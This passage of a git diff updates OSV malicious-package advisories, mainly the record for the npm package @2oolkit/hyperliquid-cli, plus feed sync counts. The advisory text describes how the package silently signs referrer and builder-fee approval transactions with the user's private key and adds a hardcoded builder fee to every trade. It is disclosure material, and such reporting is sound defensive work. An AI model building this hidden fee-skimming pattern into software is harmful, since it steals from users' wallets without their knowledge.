it.\n","affected":[{"package":{"name":"commerce-utils","ecosystem":"npm","purl":"pkg:npm/commerce-utils"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.2","0.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/commerce-utils/MAL-2026-2497.json"}}],"references":[{"type":"REPORT","url":"https://app.safedep.io/community/malysis/01KNFFV2J9TJFEVM7P4RHQZQBY"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4m72-8w6v-x24q"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-04-07T14:39:12.848201267Z","modified_time":"2026-04-07T14:24:50Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"3bb3d6d3a8a8898abe7e371e54753d5902a5062151888ccff6c656f5edac6ba6","source":"amazon-inspector"},{"id":"GHSA-4m72-8w6v-x24q","import_time":"2026-11-10T21:16:53.429744006Z","modified_time":"2026-11-10T20:42:58Z","sha256":"96bc23613e41a01d93bddc7a544fcfdf7cf308051171c1c290527b0a7c9ed747","source":"ghsa-malware","versions":["0.0.2","0.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"},{"name":"SafeDep","contact":["https://safedep.io"],"type":"FINDER"}]}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-3679.json b/data/npm/MAL-2026-3679.json
index 7b1391b61e..e04c593986 100644
--- a/data/npm/MAL-2026-3679.json
+++ b/data/npm/MAL-2026-3679.json
@@ -1 +1 @@
-{"schema_version":"1.7.5","id":"MAL-2026-3679","published":"2026-05-12T07:42:47Z","modified":"2026-05-13T20:21:28.616802Z","summary":"Malicious code in @2oolkit/hyperliquid-cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1c3af30011dcf54950f270463028270d732fce20b5cd5da44342a0748922e6df)\nThe package is advertised as a neutral CLI/MCP wrapper for Hyperliquid, but its distributed code silently routes value from the installer to an author-controlled address. In dist/index.js and dist/mcp.js, the constants BUILDER_ADDRESS = 0xa6f967d47c6f85a5ba4fc43543e5e1c171cccf98, BUILDER_FEE = 1 (0.01%), and REFERRAL_CODE = '2OOLKIT' are hardcoded. On `config init` / `config set --private-key...`, a fire-and-forget `silentAutoSetup(env, privateKey, walletAddress)` signs and submits (a) a `setReferrer('2OOLKIT')` transaction and (b) an `approveBuilderFee(0xa6f9...cf98, '0.1%')` transaction on the user's Hyperliquid account, with errors swallowed so the user sees no indication. Additionally, `HyperliquidClient.placeOrder` unconditionally injects `action.builder = { b: BUILDER_ADDRESS, f: BUILDER_FEE }` into every order, so every trade routed through the CLI pays a builder fee to the hardcoded address in perpetuity. None of this is disclosed in the README or command output, there is no opt-out, and the behavior is triggered by the documented setup flow. This is a silent-relay pattern causing direct, ongoing financial harm to anyone who installs and uses the package with a funded wallet. The repeated POSTs flagged in dist/index.js:610 and dist/mcp.js:466 correspond to the Hyperliquid exchange submissions carrying these hardcoded builder/referrer fields.\n","affected":[{"package":{"name":"@2oolkit/hyperliquid-cli","ecosystem":"npm","purl":"pkg:npm/%402oolkit/hyperliquid-cli"},"versions":["0.2.1","0.2.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"73cd6941832c612aca22f77edd9c5da8e3bea943be2ba77d3a11538523080292","tlsh":"6653a52075fa212114a3b6ae6b6b81042035f653350cec957becfbd11f9e42689b7f78"}],"package_integrity":[{"filename":"hyperliquid-cli-0.2.1.tgz","hashes":{"sha1":"1a139c96cec462bcf72c21e399097100fb7d6369","sha512_sri":"sha512-4NbhUFbpf6OoGv8cYFr3hOsNgMkwp1QFnHp3hChfiLBAKCRFU9zLN+coacxfyiW7PJN9xjkpm+9MD0z8DQkrHw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@2oolkit/hyperliquid-cli/MAL-2026-3679.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@2oolkit/hyperliquid-cli/v/0.2.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@2oolkit/hyperliquid-cli/v/0.2.2"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-002224","import_time":"2026-05-13T20:10:54.006616674Z","modified_time":"2026-05-12T19:03:07Z","sha256":"1c3af30011dcf54950f270463028270d732fce20b5cd5da44342a0748922e6df","source":"amazon-inspector","versions":["0.2.1"]},{"id":"IN-MAL-2026-002225","import_time":"2026-05-13T20:10:54.072521104Z","modified_time":"2026-05-12T19:03:07Z","sha256":"66215e5cdec4c1ec4dfa5fb21237998c57bfbfd96a0bcb9792b92e4c88be3f17","source":"amazon-inspector","versions":["0.2.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"MAL-2026-3679","published":"2026-05-12T07:42:47Z","modified":"2026-11-10T21:30:04.895641392Z","aliases":["GHSA-qg83-c6x5-qw8f"],"summary":"Malicious code in @2oolkit/hyperliquid-cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1c3af30011dcf54950f270463028270d732fce20b5cd5da44342a0748922e6df)\nThe package is advertised as a neutral CLI/MCP wrapper for Hyperliquid, but its distributed code silently routes value from the installer to an author-controlled address. In dist/index.js and dist/mcp.js, the constants BUILDER_ADDRESS = 0xa6f967d47c6f85a5ba4fc43543e5e1c171cccf98, BUILDER_FEE = 1 (0.01%), and REFERRAL_CODE = '2OOLKIT' are hardcoded. On `config init` / `config set --private-key...`, a fire-and-forget `silentAutoSetup(env, privateKey, walletAddress)` signs and submits (a) a `setReferrer('2OOLKIT')` transaction and (b) an `approveBuilderFee(0xa6f9...cf98, '0.1%')` transaction on the user's Hyperliquid account, with errors swallowed so the user sees no indication. Additionally, `HyperliquidClient.placeOrder` unconditionally injects `action.builder = { b: BUILDER_ADDRESS, f: BUILDER_FEE }` into every order, so every trade routed through the CLI pays a builder fee to the hardcoded address in perpetuity. None of this is disclosed in the README or command output, there is no opt-out, and the behavior is triggered by the documented setup flow. This is a silent-relay pattern causing direct, ongoing financial harm to anyone who installs and uses the package with a funded wallet. The repeated POSTs flagged in dist/index.js:610 and dist/mcp.js:466 correspond to the Hyperliquid exchange submissions carrying these hardcoded builder/referrer fields.\n\n## Source: ghsa-malware (3284a25ae4e115f06eb2c8b261be6b71b6a756407aa0d306395bbae0f5f43d10)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@2oolkit/hyperliquid-cli","ecosystem":"npm","purl":"pkg:npm/%402oolkit/hyperliquid-cli"},"versions":["0.2.1","0.2.2","0.2.7","0.2.6","0.2.5","0.2.4","0.2.3","0.2.0","0.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"73cd6941832c612aca22f77edd9c5da8e3bea943be2ba77d3a11538523080292","tlsh":"6653a52075fa212114a3b6ae6b6b81042035f653350cec957becfbd11f9e42689b7f78"}],"package_integrity":[{"filename":"hyperliquid-cli-0.2.1.tgz","hashes":{"sha1":"1a139c96cec462bcf72c21e399097100fb7d6369","sha512_sri":"sha512-4NbhUFbpf6OoGv8cYFr3hOsNgMkwp1QFnHp3hChfiLBAKCRFU9zLN+coacxfyiW7PJN9xjkpm+9MD0z8DQkrHw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@2oolkit/hyperliquid-cli/MAL-2026-3679.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@2oolkit/hyperliquid-cli/v/0.2.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@2oolkit/hyperliquid-cli/v/0.2.2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qg83-c6x5-qw8f"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-002224","import_time":"2026-05-13T20:10:54.006616674Z","modified_time":"2026-05-12T19:03:07Z","sha256":"1c3af30011dcf54950f270463028270d732fce20b5cd5da44342a0748922e6df","source":"amazon-inspector","versions":["0.2.1"]},{"id":"IN-MAL-2026-002225","import_time":"2026-05-13T20:10:54.072521104Z","modified_time":"2026-05-12T19:03:07Z","sha256":"66215e5cdec4c1ec4dfa5fb21237998c57bfbfd96a0bcb9792b92e4c88be3f17","source":"amazon-inspector","versions":["0.2.2"]},{"id":"GHSA-qg83-c6x5-qw8f","import_time":"2026-11-10T21:16:53.471635091Z","modified_time":"2026-11-10T20:18:38Z","sha256":"3284a25ae4e115f06eb2c8b261be6b71b6a756407aa0d306395bbae0f5f43d10","source":"ghsa-malware","versions":["0.2.7","0.2.6","0.2.5","0.2.4","0.2.3","0.2.2","0.2.1","0.2.0","0.1.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
\ No newline at end of file
diff --git a/state/sync.json b/state/sync.json
index c4f4c566bd..005f60e277 100644
--- a/state/sync.json
+++ b/state/sync.json
@@ -1,10 +1,10 @@
 {
   "ecosystems": {
     "GitHub Actions": {
-      "etag": "\"3c8ef2b070222f600816c5f71ff7df5d\"",
-      "last_modified": "Tue, 10 Nov 2026 16:18:09 GMT",
-      "last_success": "2026-11-10T20:34:58.291977+00:00",
-      "records": 63
+      "etag": "\"3ca17213380659bdefcd11edff2b720a\"",
+      "last_modified": "Tue, 10 Nov 2026 22:03:10 GMT",
+      "last_success": "2026-11-11T00:44:05.386760+00:00",
+      "records": 64
     },
     "Go": {
       "etag": "\"8b32b5bf4804a25f0a77d469637bbcca\"",
@@ -19,10 +19,10 @@
       "records": 7257
     },
     "NuGet": {
-      "etag": "\"57e7d3d7e33fd54424b82bfd2161b343\"",
-      "last_modified": "Mon, 09 Nov 2026 20:18:18 GMT",
-      "last_success": "2026-11-10T20:34:51.632342+00:00",
-      "records": 1971
+      "etag": "\"7f4385376a1ba9fec92d7e12db7f8ffc\"",
+      "last_modified": "Wed, 11 Nov 2026 00:33:11 GMT",
+      "last_success": "2026-11-11T00:43:52.952031+00:00",
+      "records": 1996
     },
     "OSS-Fuzz": {
       "etag": "\"121d45b88a3a072c5385693bbdaef2e4\"",
@@ -37,28 +37,28 @@
       "records": 7422
     },
     "PyPI": {
-      "etag": "\"3cdedd769b33d3b37f0e3b6a2de81ac3\"",
-      "last_modified": "Tue, 10 Nov 2026 20:03:05 GMT",
-      "last_success": "2026-11-10T20:33:26.200971+00:00",
-      "records": 26858
+      "etag": "\"f7930173acc4ad197b1bf6253ba36219\"",
+      "last_modified": "Tue, 10 Nov 2026 22:18:00 GMT",
+      "last_success": "2026-11-11T00:41:40.309754+00:00",
+      "records": 26860
     },
     "RubyGems": {
-      "etag": "\"36cf68dc48e8f5200a7a888d33682662\"",
-      "last_modified": "Tue, 10 Nov 2026 19:48:24 GMT",
-      "last_success": "2026-11-10T20:34:58.136157+00:00",
-      "records": 5487
+      "etag": "\"b38b3597289377dfc31f237d94a35f67\"",
+      "last_modified": "Tue, 10 Nov 2026 21:47:56 GMT",
+      "last_success": "2026-11-11T00:44:04.753402+00:00",
+      "records": 5501
     },
     "crates.io": {
-      "etag": "\"ac847ab50fa1e9e00fb3ce0cf192f4b2\"",
-      "last_modified": "Tue, 10 Nov 2026 14:18:07 GMT",
-      "last_success": "2026-11-10T20:34:52.710083+00:00",
+      "etag": "\"e293a0d346823739ae4e973548efe465\"",
+      "last_modified": "Tue, 10 Nov 2026 20:03:04 GMT",
+      "last_success": "2026-11-11T00:43:57.991487+00:00",
       "records": 3081
     },
     "npm": {
-      "etag": "\"c1511193668ee01adefa37e74e7aae11\"",
-      "last_modified": "Tue, 10 Nov 2026 20:33:17 GMT",
-      "last_success": "2026-11-10T20:34:43.258372+00:00",
-      "records": 231632
+      "etag": "\"a8f055f04d4913e130211860288bb8a5\"",
+      "last_modified": "Tue, 10 Nov 2026 23:33:02 GMT",
+      "last_success": "2026-11-11T00:43:48.021698+00:00",
+      "records": 231651
     }
   },
   "version": 1